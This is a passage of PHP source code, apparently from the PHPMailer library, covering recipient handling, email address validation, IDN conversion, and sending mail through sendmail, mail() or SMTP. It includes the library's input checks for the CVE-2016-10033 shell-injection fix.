    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
